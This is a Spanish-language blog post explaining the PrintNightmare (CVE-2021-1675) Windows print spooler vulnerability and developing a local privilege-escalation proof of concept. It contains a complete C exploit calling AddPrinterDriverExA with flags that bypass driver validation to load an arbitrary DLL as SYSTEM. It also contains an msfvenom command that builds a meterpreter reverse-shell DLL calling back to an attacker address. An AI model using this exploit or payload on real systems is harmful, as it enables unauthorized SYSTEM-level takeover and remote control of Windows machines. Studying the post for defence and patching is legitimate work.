synawk

PrintNightmare (CVE-2021-1675) Local Privilege Escalation

En este post voy a intentar explicar de forma sencilla el exploit PrintNightmare; cuales son las limitaciones y el desarrollo de un POC para elevación de privilegios de forma local.

Ya debes estar al tanto del nuevo exploit que afecta a los equipos con sistema operativo Windows; para ser precisos aquellos que están dentro de un dominio (Active Directory). https://github.com/afwu/PrintNightmare

Algunos enlaces por si quieres leer antes de que va:

https://microsofters.com/178810/printnightmare-vulnerabilidad-critica-cola-impresion-windows)

https://doublepulsar.com/zero-day-for-every-supported-windows-os-version-in-the-wild-printnightmare-b3fdb82f840c

Actualmente ya existe una prueba de concepto enfocada en esta vulnerabilidad y bastante contenido que ya tienes disponible; por lo que mi enfoque en este post será de darle más sentido práctico al exploit y explicarte algunos detalles.

Primero; si ya leíste de que trata será mas fácil que entiendas lo siguiente. La vulnerabilidad se encuentra en el servicio de Windows Spooler y básicamente permite instalar un driver remota o localmente. La función que se encarga de eso es AddPrinterDriverEx y se encuentra dentro de la archivo header Winspool.drv.

addprinterdriverex Winspool

Pero esto es a nivel superficial; por ejemplo si vamos dentro de la función se puede ver que invoca directamente a RpcAddPrinterDriverEx (0x59) que de hecho es la función que contiene el fallo :D ; y permite que cualquier usuario dentro del dominio autenticado pueda hacer que el servicio spoolsv.exe ejecute remota o localmente una DLL.

AddPrinterDriverEx

Como se ve en la imagen, eso ya es dentro de la función AddPrinterDriverEx que es la que usaré en mi código; ya que está invoca también a la función vulnerable. Igual y en el POC original se hace una implementación de esto llamando directamente a NdrClientCall3 pero al final se llega a lo mismo. (pasandole los flags correctos)

SplAddPrinterDriverEx

Finalmente se puede hace bypass de la validación con cualquier usuario autenticado al dominio lo que permite instalar un driver dentro del dominio como SYSTEM. Pero claro posteriormente hay ciertas comprobaciones que explicaré mas adelante.

En resumen el fallo permite a un usuario sin privilegios dentro de un dominio pueda omitir las validaciones y de esa forma poder cargar una DLL (sin firmar) con privilegios de administrador del sistema; sea remota o localmente. La implementación para la forma local seria algo asi:

//x86_64-w64-mingw32-gcc exploit.c -o exploit.exe -l winspool
/**
Original :
//https://github.com/afwu/PrintNightmare
modified by synawk

*/

#include<windows.h>
#include<stdio.h>


int main(){
	//download remotly dll
	printf("[-] POC  C - CVE-2021-1675\n");

	char *path = "C:\\Windows\\System32\\DriverStore\\FileRepository\\ntprint.inf_amd64_c62e9f8067f98247\\Amd64\\UNIDRV.DLL";

	//https://docs.microsoft.com/en-us/windows/win32/printdocs/driver-info-2
	DRIVER_INFO_2 di;
    di.cVersion = 3;
	di.pName = "drv";
	di.pEnvironment = NULL;
	di.pDriverPath = path;
	di.pDataFile  = "C:\\Windows\\System32\\kernelbase.dll";
	di.pConfigFile = "C:\\Users\\synawk\\Desktop\\payload.dll";

	//https://docs.microsoft.com/en-us/windows/win32/printdocs/addprinterdriverex
	
	DWORD hr = AddPrinterDriverExA(NULL, 2, (PBYTE)&di, APD_COPY_ALL_FILES | 0x10 | 0x8000);
    printf("[-] Finish. GetLastError: %d\n", GetLastError());
	return 0;
}

En la primera parte defino la ruta del driver la cual puede ser cambiada para que obtenerla de forma dinámica según lo que pude encontrar. Ya no lo implemente pero el resultado sería el mismo.

En la parte final es donde invoco a AddPrinterDriverExAque posteriormente hace las llamadas que ya mencioné. Es aquí a través de los últimos argumentos que se realiza el bypass de las comprobaciones y de esa forma ejecutar el flujo de InternalAddPrinterDriverEx.

Bypass validaciones

Si seguimos el flujo que lleva la función InternalAddPrinterDriverEx se puede ver que hace una serie de comprobaciones.

validate driver info

Dentro de esta función se puede omitir la comprobación de la ruta del driver así como la firma que debe tener; y como se ve en la imagen de abajo la validación es hacer que la operación sea 0; es por eso que el flag tiene APD_INSTALL_WARNED_DRIVER ( 0x8000 ). Lo puedes ver aquí: https://docs.microsoft.com/en-us/windows/win32/printdocs/addprinterdriverex#return-value

validate driver info

Para el caso del flag APD_COPY_FROM_DIRECTORY (0x10) sucede lo mismo; ya que más adelante hay una validación de directorios; puedes revisar el detalle aquí.

https://docs.microsoft.com/en-us/windows/win32/printdocs/addprinterdriverex#parameters

validacion directorios

Siendo a5 un argumento diferente al que venia usando; solo basta con revisar la implementación de la funcion SplAddPrinterDriverEx para que sea falso.

validacion directorios

Y como se puede ver; siendo a4 el flag que se envía y espera que a4 & 0x10 == 0 le tengo que enviar dentro del flag el valor 0x10.

Según revisé y por las pruebas que estuve haciendo, hay otras validaciones y comprobaciones que se hacen que se resuelven en el envío del flag (dwFileCopyFlags), pero en esencia funciona de la misma forma como lo he explicado.

Como ya mencioné (y se menciona en el sgt tweet también) solo funciona dentro del contexto de Active Directory. Y si de hecho ejecutas el exploit en una máquina sin DC tendrás un error de Access Denied (ERROR 5).

access denied printnightmare


Por otro lado si lo ejecutas en un DC el resultado es diferente. Para esto primero voy a generar una dll con meterpreter (es lo más rápido)

msfvenom LHOST=192.168.1.24 LPORT=8080 -p windows/x64/meterpreter/reverse_tcp -f dll > payload.dll

Esta DLL ya en un escenario real; podria ser descargada remotamente para posteriormente instalarla como driver.

Lo siguiente es ejecutar y compilar el código que deje por arriba cambiando la ruta en donde está la DLL y luego ejecutarla; para obtener algo como esto.

result DC PrintNightmare

Y revisando las conexiones de meterpreter y luego verificando los permisos se puede ver que ya tengo permiso de SYSTEM:

meterpreter

Y el spooler se detiene y no se porque :c ; pero eso ya lo reviso luego.

spooler

Conclusión

Espero que se haya entendido algo :D; si bien es cierto la implementación actual es bastante simple; internamente tiene bastante complejidad, sobre todo en seguir el flujo que corresponde a las comprobaciones. Me enfoque solo en la explotación local ya que remotamente hay muchas más cosas por considerar y por lo pronto me interesaba ese enfoque.

Si consideras que la información es inexacta o tienes algunas dudas, por lo pronto puedes escribirme hasta que agregue comentarios :)

Referencias

https://github.com/afwu/PrintNightmare

https://github.com/cube0x0/CVE-2021-1675

https://doublepulsar.com/zero-day-for-every-supported-windows-os-version-in-the-wild-printnightmare-b3fdb82f840c

https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/b96cc497-59e5-4510-ab04-5484993b259b